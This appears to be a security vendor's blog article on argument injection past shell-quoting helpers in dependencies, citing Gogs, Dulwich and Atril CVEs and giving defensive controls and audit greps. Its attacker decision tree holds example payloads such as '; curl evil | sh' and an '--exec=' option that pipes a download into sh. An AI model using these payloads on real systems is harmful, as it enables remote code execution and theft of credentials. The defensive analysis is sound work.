← Back to Attack Research

The quoting helper lied: argument injection inside a trusted dependency

A developer wraps untrusted input in a function they believe neutralizes the shell, then hands the result to a command. The helper has a bypass, or never ran on the path that re-parses the string back into argv. The input lands as a flag or an operator, and a trusted dependency runs the attacker's command. Here is the decision tree, and the dependency-aware test that catches it.

You did the responsible thing. You did not concatenate user input into a shell string. You wrapped it in a quoting helper, the one the docs told you neutralizes shell metacharacters, and passed the safe result onward. Then a library three levels down in your dependency tree took that "safe" string, handed it to a function that re-parses it back into an argument vector, and your input arrived at the operating system as a command-line flag. Not data. A flag. In 2026 this class shipped in plain sight: Atril (CVE-2026-46529) built a command line from PDF link fields and never called g_shell_quote on the path that shell-parsed it back into argv; Dulwich (CVE-2026-42563) dropped an attacker-controlled file path into a merge-driver command run with shell=True; and Gogs (CVE-2026-52806) let a branch named --exec <command> inject an option into git rebase. This piece walks the decision tree from a quoting bypass to command execution, and the controls that close it.

For years the command-injection conversation has been about the obvious mistake: building a shell string by gluing user input onto a command and running it. Developers learned that lesson. The modern version of the bug is subtler and lives one layer deeper. You did not glue anything. You called a helper whose entire promise is "give me untrusted text, I will make it safe to put in a command," and you trusted the promise. The bug is in the promise, or in the gap between the promise and how the value is actually consumed downstream. The attacker does not need you to be careless. They need the escaping layer you relied on to have a seam, and they need the value to reach a sink that shells out. Both conditions are common, and both hide inside dependencies you never wrote.

This piece walks the quoting-bypass argument-injection class the same way our supply-chain and SSRF pieces walked theirs: the pattern in one paragraph, why it ships, the attacker's full decision tree, real 2026 instances, and the Find / Prove / Fix / Verify contract that closes it. Verifiable security.

The attack pattern in one paragraph

The application takes untrusted input and needs to pass it to an external program. A careful developer reaches for a quoting or escaping helper: shell-quote in the Node ecosystem, shlex.quote in Python, g_shell_quote in GLib, or a hand-rolled equivalent. The mental model is "this function neutralizes the shell, so whatever I pass it becomes inert data." The model fails in one of two ways. First, the helper itself has a bypass: a metacharacter or sequence it does not escape correctly, so a crafted input survives quoting and reaches the shell as an operator (;, &&, $(), a backtick, a newline). Second, and more often in 2026, the helper is correct for shell metacharacters but the value is consumed as an argument to a program, and the input begins with a dash. Quoting --exec=/bin/sh does not stop it from being read as an option by the target program, because it is still a single, valid, well-quoted token; it is just a token the program interprets as a flag rather than as data. The shell never sees a metacharacter. The injection happens one level up, in the target program's own argument parser. Either way, input the developer believed was neutralized reaches a sink that shells out, and the trusted dependency executes the attacker's command.

The reason this hides so well is that two correct-looking decisions combine into a wrong outcome. The escaping helper is doing exactly what it claims (it is quoting), and the target program is doing exactly what it claims (it is parsing arguments). Neither component is "buggy" in isolation. The vulnerability lives in the seam: the assumption that "quoted" equals "safe as an argument," which is false the moment the quoted token can begin with a dash and be read as an option.

Why this still ships in 2026

If trusting a quoting helper is dangerous, why did three separate well-known projects ship this class in a single 2026 window? Four structural reasons:

  1. "Quoted" and "safe argument" are different guarantees, and the docs blur them. A shell-quoting function guarantees the shell will not interpret metacharacters. It says nothing about whether the receiving program will read the token as an option. Argument injection (CWE-88) is a distinct weakness from OS command injection (CWE-78), and most developers fold both into "I escaped it, I'm fine." The Gogs case is pure CWE-88: a branch name that is a perfectly valid, perfectly quoted string, which git rebase reads as the --exec flag.
  2. The escape and the sink are far apart in the code. The developer escapes input in a request handler. The value travels through three function calls, into a library, into a helper that finally calls spawn, exec, subprocess.run, or g_app_info_create_from_commandline. By the time it reaches the sink, no reviewer is looking at the original escaping decision. The Atril bug is exactly this distance: the command line is built in one place and shell-parsed back into argv in another, and g_shell_quote was simply never applied across that boundary.
  3. Round-tripping a string through the shell is a hidden re-parse. A surprising number of APIs take a single command string, then split it back into arguments using shell rules. g_app_info_create_from_commandline does this; subprocess.run(..., shell=True) does this; any exec with a shell string does this. Every such re-parse is a second chance for a token to be reinterpreted, and the developer who built the string rarely realizes a re-parse is happening at all.
  4. It lives in dependencies, so your own code review never sees it. The injectable sink is inside a library: a Git implementation, a document viewer, a build helper. Your application passes a branch name, a file path, a link target. You never wrote the spawn call, so it never appears in your diff. The trust you place in the dependency is exactly the trust the attacker exploits.

The attacker decision tree

ATTACKER DECISION TREE Quoting Bypass / Argument Injection -> Command Exec +-------------------------------------------------+ | 1. Find input that reaches an external program | | - branch / ref / tag name (git wrappers) | | - file path / link target / filename | | - "destination" / "format" / "driver" field | | - any value handed to a CLI dependency | +-----------------------+-------------------------+ | v +-------------------------------------------------+ | 2. Identify the sink and the quoting in between | | a) string built + run via shell (shell=True, | | exec(str), g_app_info_create_from_cmdline)| | b) value passed as a positional arg to a tool| | c) which helper "neutralized" it? shell-quote| | / shlex.quote / g_shell_quote / hand-roll | +-----------------------+-------------------------+ | metachar route? arg route? +-----------+-----------+ v v +----------------------+ +----------------------------+ | 3a. Defeat the QUOTE | | 3b. Skip the quote entirely | | - find unescaped seq | | - token is valid + quoted | | ; && | $( ) ` \n | | but STARTS WITH A DASH | | - helper bypass / not | | - target reads it as an | | applied on this path| | OPTION, not as data | | -> shell sees operator| | -> e.g. --exec=, --gtk- | +----------+-----------+ | module=, -o ProxyCommand | | +-------------+--------------+ | | +-------------+--------------+ v +-------------------------------------------------+ | 4. Land the payload at the OS | | - operator route: ; curl evil | sh | | - option route: --exec='id; curl ... | sh' | | - module route: --gtk-module=/tmp/x.so | +-----------------------+-------------------------+ v +-------------------------------------------------+ | 5. Command runs as the dependency's process user | | -> read every repo / secret the process holds | | -> drop a shell, pivot, persist | +-------------------------------------------------+

Two routes converge on the same sink: defeat the quoting helper, or skip it because a well-quoted token is still read as an option. Both end in command execution inside a trusted dependency.

The branch point in this tree is step 3. Most defenders only imagine route 3a, the classic "did a semicolon get through" question, and they test their escaping helper against shell metacharacters. Route 3b is the one that gets missed, because there is nothing to escape. The token --exec=/bin/sh contains no shell metacharacter at all. It is a clean, well-formed argument that the quoting helper passes through untouched, correctly, and the damage is done not by the shell but by the target program reading a leading dash as an option. A defender who only hardened against metacharacters has not closed route 3b.

The real 2026 instances

This is not a hypothetical class. Three named cases from a single 2026 window show all three failure shapes.

Gogs, CVE-2026-52806, the pure argument-injection route. Gogs is a popular self-hosted Git service. During a "rebase before merging" operation it invokes git rebase with a branch name the user controls. A branch named --exec=<command> is a syntactically valid Git ref string, so no quoting helper flags it, yet git rebase reads the leading dashes as its --exec option and runs the command. Rapid7 Labs scored it CVSSv4 9.4: any authenticated user, on a default-configured instance with open registration, reaches arbitrary command execution as the Gogs process user. The fix shipped in Gogs 0.14.3 on 7 June 2026. Nothing here is a metacharacter bug. It is the option-injection route, 3b, end to end.

Dulwich, CVE-2026-42563, the shell=True route. Dulwich is a pure-Python implementation of Git. Its ProcessMergeDriver substitutes a file path, controllable by an attacker through a malicious branch, into a merge-driver command via a %P placeholder, then executes the result with subprocess.run(..., shell=True). Because the path is a single string spliced into a command run through the shell, a crafted path carries shell operators straight to the OS. A victim who merges an untrusted branch gets arbitrary command execution. The fix landed in Dulwich 1.2.5. This is route 3a: the input reaches the shell as an operator because the value was never escaped for the shell it was handed to.

Atril, CVE-2026-46529, the helper-not-applied route. Atril is the default document viewer of the MATE desktop. Its ev_spawn function builds a command line from attacker-controlled PDF link-destination fields without applying g_shell_quote, then hands the string to g_app_info_create_from_commandline, which shell-parses it back into an argument vector. An embedded --gtk-module=PATH splits into its own argv element, and GTK dlopen()s that path during init, running any constructor it finds. A single click on a link inside a malicious PDF becomes code execution. This is the seam in its purest form: a quoting helper existed, was the right tool, and was simply not called on the path that re-parsed the string. The fix shipped in Atril 1.26.3 and 1.28.4.

Three projects, three shapes, one class. A correct-looking escaping decision (or the absence of one) meets a sink that interprets the result as a command or an option, and a trusted dependency runs attacker input.

A composite real-world walk

To make the seam concrete, here is a composite engagement, details synthesized across several validation cases, no single customer. The target is a mid-market developer-platform company running a self-hosted Git service and a CI system that automerges approved pull requests.

Step 1, the input. A contributor can create a branch with an arbitrary name and open a pull request. The platform's merge feature runs a server-side Git operation that includes the branch name on a command line. The branch name is the input; the server-side merge is the sink.

Step 2, the seam. The platform team did exactly what good engineers do: they wrapped the branch name in a shell-quoting helper before building the merge command, and they tested it against ;, &&, and $(). Every metacharacter test passed. They shipped, confident the branch name was neutralized.

Step 3, route 3b. The operator does not send a metacharacter. They name the branch so it begins with a dash, producing a token that is valid, correctly quoted, and read by the underlying Git tool as an option rather than as a ref.

# The branch name is a clean, well-quoted token. No shell metacharacter
# is present, so the quoting helper passes it through unchanged.
branch:  --exec=touch /tmp/celvex-proof
# Server-side merge invokes the git tool with that ref. The tool's own
# argument parser reads the leading dashes as the --exec option and runs
# the command during the rebase step. The shell was never the weak point.

Step 4, the OS. The injected option executes as the Git service's process user. In a controlled, non-destructive proof we write a marker file and read it back, demonstrating command execution without touching customer data. In an attacker's hands the same primitive reads every repository on the instance, dumps tokens and SSH keys from the service account, and pivots into the CI network.

The reason it worked end to end: the team's defense was aimed at route 3a, the metacharacter route, and the attacker took route 3b, the option route, which leaves no metacharacter to catch. The quoting helper was not bypassed. It was irrelevant to the actual injection, and the team never tested the question that mattered: can this token be read as an option?

What we observe in customer environments

We are honest about the limits of our visibility. We assess the assets a customer scopes in and the dependency surface those assets expose; we do not have source access to every library in the world. With that caveat, the pattern across recent engagements is consistent:

The honest read: the quoting-bypass argument-injection class is reliably missed by tools that check the customer's own code, because the sink is in the dependency and the unsafe pattern is a token shape, not a metacharacter. A dependency-aware, route-3b-aware test finds it.

What to do about it: do not trust the shell to parse

You cannot make a quoting helper safe by testing it harder against metacharacters, because the most dangerous route has no metacharacter to test. You close the class by removing the shell and the option-injection seam entirely. The controls below are ordered by leverage; the first two would have stopped every case above.

Argument-injection contract: controls that close the class

"I escaped it" is not "it is safe." A perfectly quoted token that starts with a dash is still read as a command-line option. Remove the shell, terminate the options, allowlist the shape.

The audit, in concrete terms, starts with two greps and one test:

# Find shells out of your own code and your vendored dependencies
$ grep -rEn "shell=True|exec\(|child_process\.exec\(|os\.system" . 2>/dev/null

# Find values handed to a CLI tool without an argument terminator
$ grep -rEn "git (rebase|merge|clone|fetch).*\$\{|spawn\(.*shell: ?true" . 2>/dev/null

# Then add the route-3b test: every user value that reaches a command
# must be safe when it begins with a dash, e.g. branch name "--exec=...".

Read each match. Confirm the value is passed as an array element, after --, and validated against an allowlist shape. The exercise is finishable in a day for most services, and it converts a remote-code-execution class into a closed seam.

How Celvex catches this

Find. Prove. Fix. Verify.

Find

Our supply-chain corpus resolves the customer's lockfile against the affected version ranges for argument-injection and shell-quoting-bypass CVEs, and our class test exercises every user value that reaches a CLI dependency with both the metacharacter route and the leading-dash option route.

Prove

A confirmed sink ships a signed Proof Capsule with the exact input, the affected dependency and version, the path to the shell-out, and a controlled non-destructive demonstration (a written marker, read back) against the customer's own staging.

Fix

The Capsule's remediation block names the change: move the call to an argument array, add the -- terminator and leading-dash check, or upgrade the affected dependency to the fixed version range.

Verify

After the fix lands, the re-test passes the route-3b payload again and confirms it is treated as data. The finding closes automatically and the verified-fix event is recorded for the auditor.

Where we sit honestly on the autonomy curve: today our supply-chain validation corpus version-matches the affected ranges for this class against a customer's resolved build graph, and our argument-injection test probes both the metacharacter and the option route against reachable sinks, version-matched, not banner-matched, per our no-false-positive rule. Our near-term work is breadth: authoring more dependency-aware sink signatures so the engine recognizes the re-parse boundary in unfamiliar libraries. We do not claim to model every library on earth. We do claim to catch the seam that turns a quoting helper into command execution, and to ship a reproducible Capsule for each one we confirm.

Bottom line

The modern command-injection bug is not careless string concatenation. It is a quoting helper that was trusted past its actual guarantee, or never applied across a hidden re-parse, in a dependency you did not write. Atril, Dulwich, and Gogs all shipped it in a single 2026 window, in three different shapes: a helper not applied, a path through shell=True, and a branch name read as the --exec option. The fix is the same in every case: do not let a shell parse your command, hand each value to the program as a discrete argument, terminate the options with --, allowlist the shape, and version-match the affected dependency. Then prove a leading-dash payload is treated as data, and verify the proof held. That work is finishable in a day, and it is the difference between a closed seam and remote code execution deep inside a library you trusted.

Verifiable security. Find it. Prove it. Fix it. Verify the fix held. That is what we ship.

Sources

Find the quoting seam before an attacker does.

Free Exposure Check, no signup required. We version-match the argument-injection class against your resolved dependency graph and probe the option route your escaping tests miss, then ship a Proof Capsule for the highest-confidence finding.

Run a Free Scan →